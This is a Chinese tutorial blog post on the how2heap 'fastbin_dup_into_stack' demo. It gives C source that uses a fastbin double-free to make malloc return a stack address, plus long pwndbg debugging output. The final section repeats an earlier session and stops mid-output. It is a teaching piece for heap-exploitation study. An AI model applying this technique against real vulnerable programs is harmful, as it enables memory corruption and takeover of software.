从零开始学howtoheap:fastbins的double-free攻击实操1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

2.fastbin_dup_into_stack程序

​ 这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

​ 源码如下。

#include 
#include 
#include 

int main()
{
    fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
    unsigned long long stack_var;

    fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "先申请3 个 chunk\n");
    char* a = malloc(8);
    strcpy(a, "AAAAAAAA");
    char* b = malloc(8);
    strcpy(b, "BBBBBBBB");
    char* c = malloc(8);
    strcpy(c, "CCCCCCCC");
    
    fprintf(stderr, "chunk a: %p\n", a);
    fprintf(stderr, "chunk b: %p\n", b);
    fprintf(stderr, "chunk c: %p\n", c);

    fprintf(stderr, "free 掉 chunk a\n");
    free(a);

    fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
    // free(a);
    fprintf(stderr, "先对 b %p 进行 free\n", b);
    free(b);

    fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
    free(a);

    fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "第一次 malloc(8): %p\n", d);
    char* e = malloc(8);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "第二次 malloc(8): %p\n", e);
    fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
    fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
    stack_var = 0x20;

    fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    
    char* f = malloc(8);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
    char* g = malloc(8);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

3.调试fastbin_dup_into_stack

3.1 获得可执行程序 

gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 下相应的断点并走起

三次malloc之后

pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk

Breakpoint 1, main () at fastbin_dup_into_stack.c:20
20          fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603050 ◂— 'CCCCCCCC'
 RBX  0x0
 RCX  0x4343434343434343 ('CCCCCCCC')
 RDX  0x603050 ◂— 'CCCCCCCC'
 RDI  0x0
 RSI  0x603060 ◂— 0x0
 R8   0x603000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0
 R11  0x0
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400786     mov    rax, qword ptr [rip + 0x2018d3] <0x602060>
   0x40078d     mov    rdx, qword ptr [rbp - 0x40]
   0x400791     mov    esi, 0x400b64
   0x400796     mov    rdi, rax
   0x400799     mov    eax, 0
   0x40079e     call   fprintf@plt <0x400570>
 
   0x4007a3     mov    rax, qword ptr [rip + 0x2018b6] <0x602060>
   0x4007aa     mov    rdx, qword ptr [rbp - 0x38]
   0x4007ae     mov    esi, 0x400b71
   0x4007b3     mov    rdi, rax
   0x4007b6     mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   15     char* b = malloc(8);
   16     strcpy(b, "BBBBBBBB");
   17     char* c = malloc(8);
   18     strcpy(c, "CCCCCCCC");
   19     
 ► 20     fprintf(stderr, "chunk a: %p\n", a);
   21     fprintf(stderr, "chunk b: %p\n", b);
   22     fprintf(stderr, "chunk c: %p\n", c);
   23 
   24     fprintf(stderr, "free 掉 chunk a\n");
   25     free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400786 main+224
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead".  Try "help".
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> head
Undefined command: "head".  Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000                                                                                                                                                                                            
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4141414141414141      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4242424242424242      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> 
3.3.2​ 三次 free 之后

可以看到由于 double free 造成的循环的指针。 

pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> r

pwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了

Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35          fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603020 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */
 RDX  0x603020 ◂— 0x0
 RDI  0xffffffff
 RSI  0x7ffff7dd1b28 (main_arena+8) —▸ 0x603000 ◂— 0x0
 R8   0x603010 —▸ 0x603020 ◂— 0x0
 R9   0x0
 R10  0xe4acace7849ae720
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x40087a (main+468) ◂— 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x40087a     mov    rax, qword ptr [rip + 0x2017df] <0x602060>
   0x400881     mov    rdi, qword ptr [rbp - 0x40]
   0x400885     mov    rsi, qword ptr [rbp - 0x40]
   0x400889     mov    rcx, qword ptr [rbp - 0x38]
   0x40088d     mov    rdx, qword ptr [rbp - 0x40]
   0x400891     mov    r9, rdi
   0x400894     mov    r8, rsi
   0x400897     mov    esi, 0x400c80
   0x40089c     mov    rdi, rax
   0x40089f     mov    eax, 0
   0x4008a4     call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   30     free(b);
   31 
   32     fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
   33     free(a);
   34 
 ► 35     fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
   36     unsigned long long *d = malloc(8);
   37 
   38     fprintf(stderr, "第一次 malloc(8): %p\n", d);
   39     char* e = malloc(8);
   40     strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40087a main+468
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed           0x603000              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x0000000000603000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
 3.3.3​ 这时候我们再去malloc两次

还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)

​ *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

通过调试我们可以看到,地址为0x603000chunkfd指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置

Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x62
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400973     lea    rax, [rbp - 0x48]
   0x400977     sub    rax, 8
   0x40097b     mov    rdx, rax
   0x40097e     mov    rax, qword ptr [rbp - 0x28]
   0x400982     mov    qword ptr [rax], rdx
   0x400985     mov    edi, 8
   0x40098a     call   malloc@plt <0x400580>
 
   0x40098f     mov    qword ptr [rbp - 0x18], rax
   0x400993     mov    rax, qword ptr [rbp - 0x18]
   0x400997     movabs rcx, 0x4646464646464646
   0x4009a1     mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
   43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
 ► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400973 main+717
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400973     lea    rax, [rbp - 0x48]
   0x400977     sub    rax, 8
   0x40097b     mov    rdx, rax
   0x40097e     mov    rax, qword ptr [rbp - 0x28]
   0x400982     mov    qword ptr [rax], rdx
 ► 0x400985     mov    edi, 8
   0x40098a     call   malloc@plt <0x400580>
 
   0x40098f     mov    qword ptr [rbp - 0x18], rax
   0x400993     mov    rax, qword ptr [rbp - 0x18]
   0x400997     movabs rcx, 0x4646464646464646
   0x4009a1     mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
   47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
 ► 49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400985 main+735
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 

3.3.4  

最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置

Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x62
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400973     lea    rax, [rbp - 0x48]
   0x400977     sub    rax, 8
   0x40097b     mov    rdx, rax
   0x40097e     mov    rax, qword ptr [rbp - 0x28]
   0x400982     mov    qword ptr [rax], rdx
   0x400985     mov    edi, 8
   0x40098a     call   malloc@plt <0x400580>
 
   0x40098f     mov    qword ptr [rbp - 0x18], rax
   0x400993     mov    rax, qword ptr [rbp - 0x18]
   0x400997     movabs rcx, 0x4646464646464646
   0x4009a1     mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
   43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
 ► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400973 main+717
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
